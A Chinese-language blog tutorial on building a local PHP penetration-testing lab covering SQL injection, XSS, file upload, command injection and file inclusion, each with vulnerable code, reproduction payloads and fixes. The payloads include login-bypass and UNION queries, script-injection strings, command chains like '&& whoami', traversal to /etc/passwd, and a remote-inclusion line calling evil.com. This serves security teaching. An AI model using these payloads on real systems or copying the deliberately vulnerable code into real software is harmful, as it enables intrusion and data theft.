【从零构建】PHP网络安全渗透测试靶场：5大基础漏洞实战

薛定谔的猫喵喵2026-01-23 9:34

本文将从零开始，教你搭建一个完整的PHP渗透测试靶场，包含SQL注入、XSS、文件上传等5大常见漏洞，并提供详细的复现步骤和防护方案。

一、前言：为什么需要自己搭建靶场？

在学习网络安全的过程中，理论知识固然重要，但真正的技能提升来自于实践。然而，直接攻击真实网站是违法的，因此我们需要一个安全的实践环境------渗透测试靶场。

本文将带领大家搭建一个基于PHP的Web安全靶场，特别适合初学者入门学习。靶场包含5个基础漏洞，每个漏洞都有详细的复现步骤和防护方案。

二、环境准备与搭建

2.1 所需工具

  1. PHPStudy：集成了Apache、PHP和MySQL的一键安装包

  2. 浏览器：Chrome或Firefox（推荐使用开发者工具）

  3. 代码编辑器：VS Code、Notepad++或Sublime Text

2.2 环境搭建步骤

bash 复制代码 
# 1. 下载并安装PHPStudy
# 访问官网：https://www.xp.cn/

# 2. 启动Apache和MySQL服务
# 在PHPStudy面板中点击启动按钮

# 3. 创建项目目录
# 在PHPStudy的www目录下创建web-vuln文件夹
C:\phpstudy_pro\WWW\web-vuln\

# 4. 按照以下结构组织文件

三、靶场项目结构

复制代码 
web-vuln/
├── index.php              # 主页面
├── config.php             # 配置文件
├── init.php               # 数据库初始化
├── /database/
│   └── init.sql           # 数据库SQL文件
├── /vulnerabilities/      # 漏洞页面
│   ├── sql_injection/     # SQL注入漏洞
│   ├── xss/               # XSS跨站脚本
│   ├── file_upload/       # 文件上传漏洞
│   ├── command_injection/ # 命令注入漏洞
│   └── file_include/      # 文件包含漏洞
├── /secured/              # 安全防护示例
└── /logs/                 # 安全日志

四、五大漏洞详解与复现

4.1 SQL注入漏洞

4.1.1 漏洞原理

SQL注入是由于程序没有对用户输入进行充分过滤，导致攻击者可以将恶意SQL代码插入到查询语句中，从而执行未经授权的数据库操作。

4.1.2 漏洞代码示例
php 复制代码 
// vulnerabilities/sql_injection/login.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    
    // 存在SQL注入的代码
    $sql = "SELECT * FROM users WHERE username = '$username' 
            AND password = '$password'";
    // 直接执行，没有预处理语句
}
?>
4.1.3 漏洞复现步骤

  1. 访问登录页面：

    http://localhost/web-vuln/vulnerabilities/sql_injection/login.php

  2. 使用万能密码绕过登录：

    • 用户名输入：' OR '1'='1

    • 密码留空或任意输入

    • 点击登录，观察成功绕过

  3. 使用联合查询获取数据：

4.1.4 安全防护方案
php 复制代码 
// 使用预处理语句
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();

4.2 XSS跨站脚本漏洞

4.2.1 漏洞原理

XSS（Cross-Site Scripting）允许攻击者在受害者浏览器中执行恶意JavaScript代码。分为反射型XSS、存储型XSS和DOM型XSS。

4.2.2 反射型XSS示例
php 复制代码 
// vulnerabilities/xss/reflect.php
<?php
$search = $_GET['search'];  // 直接使用用户输入
echo "搜索结果: " . $search;  // 没有进行HTML编码
?>
4.2.3 存储型XSS示例
php 复制代码 
// vulnerabilities/xss/store.php
<?php
// 存储评论到数据库（没有过滤）
$comment = $_POST['comment'];
$sql = "INSERT INTO comments (comment) VALUES ('$comment')";

// 从数据库读取并显示（没有编码）
echo $row['comment'];
?>
4.2.4 漏洞复现步骤

  1. 反射型XSS：

    • 访问：http://localhost/web-vuln/vulnerabilities/xss/reflect.php

    • 输入：<script>alert('XSS攻击')</script>

    • 点击搜索，观察弹窗效果

  2. 存储型XSS：

    • 访问评论页面

    • 输入：<img src=x onerror=alert('存储型XSS')>

    • 提交评论，刷新页面观察效果

    • 注意：此漏洞会影响所有访问者

4.2.5 安全防护方案
php 复制代码 
// 输出时进行HTML编码
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

// 或使用Content Security Policy (CSP)
header("Content-Security-Policy: default-src 'self'");
复制代码

4.3 文件上传漏洞

4.3.1 漏洞原理

由于没有对上传文件的类型、扩展名、内容进行验证，攻击者可以上传恶意文件（如PHP木马）到服务器，进而执行任意代码。

4.3.2 漏洞代码示例
php 复制代码 
// vulnerabilities/file_upload/upload.php
<?php
if ($_FILES['file']) {
    $file_name = $_FILES['file']['name'];
    $file_tmp = $_FILES['file']['tmp_name'];
    
    // 没有任何验证，直接保存
    move_uploaded_file($file_tmp, 'uploads/' . $file_name);
}
?>
4.3.3 漏洞复现步骤

  1. 创建PHP木马文件：

    • 新建文本文件，重命名为shell.php

    • 内容：<?php phpinfo(); ?>

  2. 上传恶意文件：

    • 访问文件上传页面

    • 选择shell.php并上传

    • 页面显示上传成功

  3. 访问上传的文件：

    http://localhost/web-vuln/vulnerabilities/file_upload/uploads/shell.php

    • 观察PHP信息页面，证明代码执行成功
4.3.4 安全防护方案
php 复制代码 
// 1. 验证文件类型
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($_FILES['file']['type'], $allowed_types)) {
    die('不允许的文件类型');
}

// 2. 验证文件扩展名
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (!in_array($file_ext, $allowed_ext)) {
    die('不允许的文件扩展名');
}

// 3. 重命名文件（避免目录遍历）
$new_name = uniqid() . '.' . $file_ext;

// 4. 设置上传目录权限为不可执行

4.4 命令注入漏洞

4.4.1 漏洞原理

应用程序将用户输入直接拼接到系统命令中执行，没有进行适当的过滤和验证，导致攻击者可以执行任意系统命令。

4.4.2 漏洞代码示例
php 复制代码 
// vulnerabilities/command_injection/ping.php
<?php
$host = $_GET['host'];  // 用户可控的输入
$cmd = "ping -n 4 " . $host;  // 直接拼接命令
$output = shell_exec($cmd);  // 执行系统命令
echo $output;
?>
4.4.3 漏洞复现步骤

  1. 访问Ping测试页面：

    http://localhost/web-vuln/vulnerabilities/command_injection/ping.php

  2. 执行简单命令：

    • 输入：127.0.0.1 && echo Hello

    • 点击测试，观察输出中包含"Hello"

  3. 获取系统信息：

    • 输入：127.0.0.1 && whoami

    • 查看当前运行PHP的用户

    • 输入：127.0.0.1 && dir

    • 查看当前目录文件列表

  4. Windows系统特殊payload：

    php 复制代码 
    127.0.0.1 && ver           # 查看Windows版本
127.0.0.1 && ipconfig      # 查看网络配置
127.0.0.1 && tasklist      # 查看运行进程
127.0.0.1 && net user      # 查看系统用户
4.4.4 安全防护方案
php 复制代码 
// 1. 使用白名单验证
function isValidHost($host) {
    return filter_var($host, FILTER_VALIDATE_IP) 
           || preg_match('/^[a-zA-Z0-9.-]+$/', $host);
}

// 2. 使用escapeshellarg函数
$safe_host = escapeshellarg($host);
$cmd = "ping -n 4 " . $safe_host;

// 3. 禁用危险函数（php.ini中）
// disable_functions = shell_exec,exec,system,passthru

4.5 文件包含漏洞

4.5.1 漏洞原理

程序使用用户可控的参数作为文件包含路径，没有进行适当的验证，导致可以包含任意文件，包括系统敏感文件或远程恶意文件。

4.5.2 漏洞代码示例
php 复制代码 
// vulnerabilities/file_include/include.php
<?php
$page = $_GET['page'];  // 用户可控
include($page);  // 直接包含，没有验证
?>
4.5.3 漏洞复现步骤

  1. 基本路径遍历：

    • 访问：?page=../sensitive.txt

    • 尝试读取上级目录的敏感文件

  2. 读取系统文件：

    • Windows：?page=../../../../Windows/system.ini

    • Linux：?page=../../../../etc/passwd

  3. 使用PHP伪协议：

    • ?page=php://filter/convert.base64-encode/resource=../../config.php

    • 可以绕过某些限制，读取文件内容

  4. 远程文件包含 （需allow_url_include=On）：

    • ?page=http://evil.com/shell.txt
4.5.4 安全防护方案
php 复制代码 
// 1. 白名单验证
$allowed_pages = ['home.php', 'about.php', 'contact.php'];
if (!in_array($page, $allowed_pages)) {
    die('不允许访问的页面');
}

// 2. 使用basename防止目录遍历
$page = basename($_GET['page']);

// 3. 禁用危险配置（php.ini）
// allow_url_fopen = Off
// allow_url_include = Off

五、完整靶场代码实现

5.1 数据库初始化脚本

sql 复制代码 
-- database/init.sql
CREATE DATABASE IF NOT EXISTS vuln_db;
USE vuln_db;

CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL,
    password VARCHAR(50) NOT NULL,
    email VARCHAR(100)
);

INSERT INTO users (username, password, email) VALUES
('admin', 'admin123', 'admin@example.com'),
('user1', 'password1', 'user1@example.com'),
('user2', 'password2', 'user2@example.com');

CREATE TABLE comments (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50),
    comment TEXT,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

5.2 配置文件

php 复制代码 
// config.php
<?php
// 数据库配置
define('DB_HOST', 'localhost');
define('DB_USER', 'root');
define('DB_PASS', 'root');
define('DB_NAME', 'vuln_db');

// 创建数据库连接
function getConnection() {
    $conn = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME);
    if (!$conn) {
        die("数据库连接失败: " . mysqli_connect_error());
    }
    return $conn;
}

// 安全函数：过滤输入
function safe_input($data) {
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
    return $data;
}
?>

5.3 主页面

php 复制代码 
// index.php
<!DOCTYPE html>
<html>
<head>
    <title>网络安全渗透测试靶场</title>
    <style>
        /* 样式代码 */
    </style>
</head>
<body>
    <h1>网络安全渗透测试靶场</h1>
    
    <div class="container">
        <div class="vuln-card">
            <h3>1. SQL注入漏洞</h3>
            <p><a href="vulnerabilities/sql_injection/login.php">测试页面</a></p>
        </div>
        
        <div class="vuln-card">
            <h3>2. XSS跨站脚本</h3>
            <p><a href="vulnerabilities/xss/reflect.php">测试页面</a></p>
        </div>
        
        <!-- 其他漏洞卡片 -->
    </div>
</body>
</html>

六、常见问题与解决方案

问题1：SQL注入payload不成功

解决方案：

  1. 检查数据库是否正常初始化

  2. 查看页面源代码中的SQL语句调试信息

  3. 尝试不同的payload：

    sql 复制代码 
    ' OR 1=1 --
' OR '1'='1
' UNION SELECT null,@@version,null --

问题2：命令注入中文乱码

解决方案：

  1. 修改页面编码为UTF-8

  2. 使用编码转换函数：

    php 复制代码 
    $output = shell_exec($cmd);
$output = mb_convert_encoding($output, 'UTF-8', 'GBK');

  3. 设置环境变量强制英文输出：

    php 复制代码 
    putenv('LANG=en_US.UTF-8');
putenv('LC_ALL=en_US.UTF-8');

问题3：文件上传被拦截

解决方案：

  1. 检查PHP配置：

    ini

    bash 复制代码 
    file_uploads = On
upload_max_filesize = 10M
post_max_size = 10M

  2. 确保上传目录有写入权限

  3. 尝试不同的文件扩展名绕过

问题4：文件包含失败

解决方案：

  1. 从简单路径开始：?page=../test.txt

  2. 检查文件是否存在

  3. 查看PHP配置：

    ini

    bash 复制代码 
    allow_url_fopen = On    # 远程文件包含需要开启
allow_url_include = On  # 远程文件包含需要开启

七、学习路径建议

第一阶段：基础漏洞理解（1-2周）

  1. 搭建环境，熟悉靶场结构

  2. 逐个复现5个基础漏洞

  3. 理解每个漏洞的原理和危害

第二阶段：深入挖掘（2-3周）

  1. 尝试组合攻击

  2. 编写简单的防护代码

  3. 使用Burp Suite等工具辅助测试

第三阶段：拓展学习（3-4周）

  1. 学习更多漏洞类型（CSRF、SSRF、XXE等）

  2. 阅读真实漏洞案例

  3. 参与CTF比赛或漏洞众测

八、安全注意事项

  1. 仅用于学习：本靶场仅供合法的安全学习和研究使用

  2. 本地环境：建议在本地虚拟机中搭建，不要部署到公网

  3. 法律意识：未经授权测试他人系统是违法行为

  4. 责任自负：使用本文提供的信息造成的任何后果，作者不承担责任

九、进阶资源推荐

在线靶场

  1. DVWA：Damn Vulnerable Web Application

  2. WebGoat：OWASP提供的Java靶场

  3. bWAPP：包含100+个漏洞的PHP靶场

  4. HackTheBox：在线渗透测试平台

书籍推荐

  1. 《Web安全攻防：渗透测试实战指南》

  2. 《白帽子讲Web安全》

  3. 《SQL注入攻击与防御》

工具推荐

  1. Burp Suite：Web漏洞扫描和攻击工具

  2. SQLMap：自动化SQL注入工具

  3. OWASP ZAP：开源Web应用安全扫描器

十、总结

通过搭建这个PHP渗透测试靶场，我们不仅学习了5种常见Web漏洞的原理和利用方法，更重要的是理解了如何防范这些攻击。安全是一个持续的过程，攻防技术都在不断演进。

记住：真正的黑客精神不是破坏，而是创造和保护。希望这个靶场能成为你网络安全学习之路的起点，而不是终点。

源码获取：关注小编，回复"PHP靶场"获取完整源码。

互动交流：如果在搭建过程中遇到问题，欢迎在评论区留言讨论。也欢迎分享你的学习心得和扩展改进！

版权声明：本文为原创文章，转载请注明出处。仅供学习交流，请勿用于非法用途。

相关推荐
菩提小狗1 小时前
小迪安全2023-2024|第102天：漏洞发现-漏扫项目篇&Poc开发&Yaml语法&插件一键生成&匹配结_笔记|web安全｜渗透测试｜
笔记·安全·web安全
卡兰芙的微笑2 小时前
GDB调试指南：从入门到精通
windows
优选资源分享2 小时前
PowerToys v0.97.0 Windows 窗口优化 + 搜索工具
windows·实用工具
【赫兹威客】浩哥2 小时前
【赫兹威客】Redis安装与验证教程
开发语言·php
Hello.Reader2 小时前
Flink DataGen SQL Connector 本地造数、压测、边界数据与“像真数据”的生成技巧
大数据·sql·flink
Hello.Reader2 小时前
Flink SQL 压测最短闭环Print 验证正确性 + BlackHole 榨干性能上限（附 Join/Agg/TopN/UDF 模板）
大数据·sql·flink
驾数者2 小时前
Flink SQL CDC实时同步：基于Debezium的变更数据捕获
大数据·sql·flink
Qiuner2 小时前
软件工程计算机网络WindowService2008 DNS DHCP网络策略和访问策略IIS 相关配置 期末考试实操题操作题windows运维
运维·网络·windows·计算机网络
x***r1512 小时前
Havij 1.12 Free注入漏洞扫描安装步骤详解（附使用教程）
windows
热门推荐
01GitHub 镜像站点02OpenCode 入门教程：介绍 · 安装 · 配置第三方 API (如 Claude)03在VSCode配置Java开发环境的保姆级教程（适配各类AI编程IDE）04Claude Code Skills 实用使用手册05AI 规范驱动开发“三剑客”深度对比：Spec-Kit、Kiro 与 OpenSpec 实战指南06Linux下V2Ray安装配置指南07UV安装并设置国内源08BongoCat - 跨平台键盘猫动画工具09安娜的档案(Anna’s Archive) 镜像网站/国内最新可访问入口（持续更新）10Labelme从安装到标注：零基础完整指南